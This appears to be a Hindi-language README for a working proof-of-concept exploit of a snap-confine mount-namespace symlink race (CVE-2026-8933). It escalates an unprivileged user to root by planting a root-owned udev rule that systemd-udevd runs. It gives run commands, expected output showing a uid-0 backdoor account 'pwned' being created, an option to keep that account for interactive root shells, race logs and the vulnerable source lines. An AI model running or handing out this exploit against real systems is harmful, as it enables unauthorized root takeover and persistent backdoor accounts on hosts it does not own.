
CVE-2026-8933 के लिए कार्यशील PoC: एक snap-confine mount-namespace symlink race जो root के स्वामित्व वाला udev नियम स्थापित करता है, जिससे systemd-udevd के माध्यम से स्थानीय root प्राप्त होता है।
snap-confine माउंट-नेमस्पेस रेस → स्थानीय रूट शेलकार्यशील PoC। पूर्ण स्थानीय विशेषाधिकार उन्नयन शुरू से अंत तक पुनरुत्पादित, एक अविशेषाधिकार प्राप्त उपयोगकर्ता (uid 1000) से एक वास्तविक uid-0 रूट शेल तक — कोई पासवर्ड नहीं, कोई इंटरैक्शन नहीं, कोई पूर्व-मौजूद विशेषाधिकार नहीं।
एक अविशेषाधिकार प्राप्त प्रक्रिया set-capabilities snap-confine को होस्ट की /run/udev/rules.d/ में एक
रूट-स्वामित्व वाली udev नियम लिखने के लिए बाध्य करती है; फिर systemd-udevd उस नियम के PROGRAM= पेलोड को
रूट के रूप में निष्पादित करता है। अंतर्निहित पेलोड एक ज्ञात पासवर्ड के साथ एक uid-0 खाता स्थापित करता है, इसलिए su - pwned (या ./_rootshell.py)
एक रूट शेल प्रदान करता है।
| घटक | snap-confine → sc_replicate_base_rootfs() (snapd 2.73 स्रोत _msc_273.c में; परीक्षण किए गए होस्ट ने snapd 2.76.3 चलाया और अभी भी शोषणीय था) |
| वर्ग | स्थानीय विशेषाधिकार उन्नयन (सिमलिंक रेस → /run/udev/** में मनमानी रूट-स्वामित्व वाली फ़ाइल निर्माण → रूट के रूप में कोड निष्पादन) |
| परिणाम | एक अविशेषाधिकार प्राप्त खाते से uid=0(root) शेल |
| विश्वसनीयता | 16 रन: 7 पहले प्रयास में सफल, बाकी दूसरे में; कभी भी 2 से अधिक नहीं |
| पोर्टेबिलिटी | होस्ट-स्वतंत्र: लक्ष्य snap, ऐप नाम, cgroup स्कोप, uid और snap-confine पथ सभी रन टाइम पर पहचाने जाते हैं |
| रूट आवश्यक | कोई नहीं (देखें §9) |
विषय-सूची
TL;DR · 1. त्वरित शुरुआत · 2. आवश्यकताएँ · 3. आपको क्या दिखना चाहिए · 4. बग · 5. रेस जीतना · 6. पेलोड · 7. पैकेज सामग्री · 8. कॉन्फ़िगरेशन · 9. विशेषाधिकार और सफ़ाई · 10. प्रभाव और समाधान · समस्या निवारण · संदर्भ · अस्वीकरण
cd <package dir>
bash _t18poc.sh 100% 12 # ~1–2 min, no password required
अपेक्षित आउटपुट (संक्षिप्त):
### 1. win race 1 + race 2 and plant the udev rule
[PASS] root-owned udev rule planted on attempt 1
-rw-rw-rw- 1 root root 31 /run/udev/rules.d/8933-cve-1.rules
content: PROGRAM="/tmp/8933-payload.sh"
### 2. make systemd-udevd execute the payload as root (FUSE mount trigger)
[PASS] udev ran the payload as: uid=0(root) gid=0(root) groups=0(root)
[PASS] uid-0 account planted: pwned:$6$...:0:0:root:/root:/bin/bash
### 3. root shell
credentials: pwned / pwned (uid 0)
root@host:~# id; whoami
uid=0(root) gid=0(root) groups=0(root)
root
ड्राइवर अपने बाद सफ़ाई कर लेता है (नियम, पेलोड, रोपित खाता, स्क्रैच
निर्देशिकाएँ और उनके माउंट)। KEEP=1 खाते को बनाए रखता है ताकि बाद में रूट शेल
इंटरैक्टिव रूप से उपयोग किया जा सके:
KEEP=1 bash _t18poc.sh 100% 12
./_rootshell.py # interactive root shell (password typed for you)
./_rootshell.py -c 'id' # one-shot command as root
su - pwned # or just this, password: pwned
cd <package dir>
./t18 info # optional: which snap is the target?
bash _t18poc.sh 100% 12 # quota, max attempts
_t18poc.sh [quota] [attempts] t18 + _ftrig बनाता है, लक्ष्य का पता लगाता है,
exploit को तब तक चलाता है जब तक वह जीत न जाए, udevd को ट्रिगर करता है, root payload को सत्यापित करता है और
सफ़ाई करता है। 100% 12 वह मान है जो नीचे सभी मापों के लिए उपयोग किया गया है; 0.3% 40
भी काम करता है (अधिक कड़ा quota, अधिक प्रयास)।
कुछ भी छूने से पहले driver स्वतः-पहचाने गए लक्ष्य को प्रिंट करता है:
target snap : firefox (regular files in its rootfs: 4)
snap-confine: /usr/lib/snapd/snap-confine
user scope : snap.firefox.firefox.scope
snapd : 2.76.3
cgroup.freeze को संचालित करता है),snap-confine, जो set-capabilities
(cap_chown,cap_dac_override,cap_sys_admin,…) के साथ इंस्टॉल हो — set-uid-root के रूप में नहीं,t18 और _ftrig बनाने के लिए gcc + libfuse3 (pkg-config fuse3),/snap/<snap>/current डायरेक्टरी के शीर्ष स्तर पर
एक नियमित फ़ाइल हो — वही DT_REG प्रविष्टि कमज़ोर open() को चलवाती है
(जैसे firefox, core22, …)। ऐसा कोई भी snap काम करेगा;
SNAP=<name> किसी विशिष्ट snap को बाध्य करता है।./t18 info पता लगाए गए लक्ष्य के snap, app, base, unit, scope, confine और
प्रविष्टियों/नियमित फ़ाइलों की संख्या प्रिंट करता है, और बाहर निकल जाता है — यह देखने का एक त्वरित तरीका है
कि कोई होस्ट अपने इंस्टॉल किए गए snaps के साथ शोषण-योग्य है या नहीं।
[ 22.478] marker seen (22.290 ms after start), drainer wrote cgroup.freeze=1
[ 22.713] scope frozen (procs=2, dbg: unsharing the mount namespace (per-snap))
[ 25.153] pre-bind swap: symlinks A=4 B=4 rmdir=0 (ok) symlink(/tmp/snap.rootfs_bTvhoA.dA)=0 (ok)
[ 35.077] window after 39 steps: mounts=2 tmpfs=1 squashfs=0
[ 35.416] symlink swap: unlink(/tmp/snap.rootfs_bTvhoA)=0 (ok) symlink(/tmp/snap.rootfs_bTvhoA.dB)=0 (ok)
[ 35.556] symlinks in dB: 4/4 -> /run/udev/rules.d/8933-cve-1.rules
[ 41.012] spinner: rule written into the root-owned file
[ 42.362] phase 2: 180 slices, win=1 (udev rule written)
[ 42.392] snap-confine exited (status 1)
snap-confine: cannot perform operation: mount --bind /snap/<snap>/current/default256.png \
/tmp/snap.rootfs_bTvhoA/default256.png: Permission denied
रूट-विशेषाधिकार प्राप्त snap-confine द्वारा होस्ट पर बनाई गई फ़ाइल:
-rw-rw-rw- 1 root root 31 /run/udev/rules.d/8933-cve-1.rules
PROGRAM="/tmp/8933-payload.sh"
और वह पेलोड स्क्रिप्ट जिसकी ओर यह इंगित करता है (uid 1000 द्वारा लिखी गई, systemd-udevd द्वारा uid 0 के रूप में निष्पादित):
-rwxr-xr-x 1 user user /tmp/8933-payload.sh
uid=0(root) gid=0(root) groups=0(root) <- /tmp/.pwned.root
snap-confine तुरंत बाद मर जाता है, उसी प्रविष्टि के AppArmor-अस्वीकृत bind mount पर — उस समय तक फ़ाइल पहले ही बनाई और भर दी गई है।
$ echo pwned | su - pwned -c 'id; grep ^root: /etc/shadow'
Password: uid=0(root) gid=0(root) groups=0(root)
root:$6$...:20134:0:99999:7::: <- /etc/shadow is root-only
$ ./_rootshell.py # pty + auto-typed password
root@host:~# id; whoami
uid=0(root) gid=0(root) groups=0(root)
root
_t18poc.sh के 16 रन, शोध और अंतिम जेनेरिक बिल्ड दोनों में, सभी LPE में समाप्त हुए (उनमें से 7 पहले प्रयास में, बाकी दूसरे में); किसी भी रन को 2 प्रयासों से अधिक की आवश्यकता नहीं पड़ी। प्रत्येक रन अपने बाद सफ़ाई करता है (नियम, पेलोड, रोपित खाता, स्क्रैच डायर और उनके माउंट)।
snapd 2.73, sc_replicate_base_rootfs() (_msc_273.c में स्रोत):
511 if (mkdtemp(scratch_dir) == NULL) // /tmp/snap.rootfs_XXXXXX
523 sc_do_mount(scratch_dir, scratch_dir, NULL, MS_BIND, NULL);
530 sc_do_mount("none", scratch_dir, NULL, MS_UNBINDABLE, NULL);
535 sc_do_mount("none", scratch_dir, "tmpfs", 0, "uid=0,gid=0");
536 sc_replicate_base_rootfs(scratch_dir, config->rootfs_dir, config->mounts);
...
362 if (chown(scratch_dir, 0, 0) < 0) die(...);
...
418 int fd = open(full_path, O_CREAT | O_TRUNC, 0644); // no O_NOFOLLOW
422 if (fchown(fd, 0, 0) < 0) die(...);
428 sc_do_mount(src_path, full_path, NULL, MS_BIND, NULL);
snap-confine set-capabilities (cap_chown, cap_dac_override,
cap_sys_admin, …) के साथ इंस्टॉल किया गया है, set-uid-root के साथ नहीं, इसलिए यह
unprivileged euid बनाए रखता है जबकि लगभग-root capabilities लिए रहता है। परिणाम: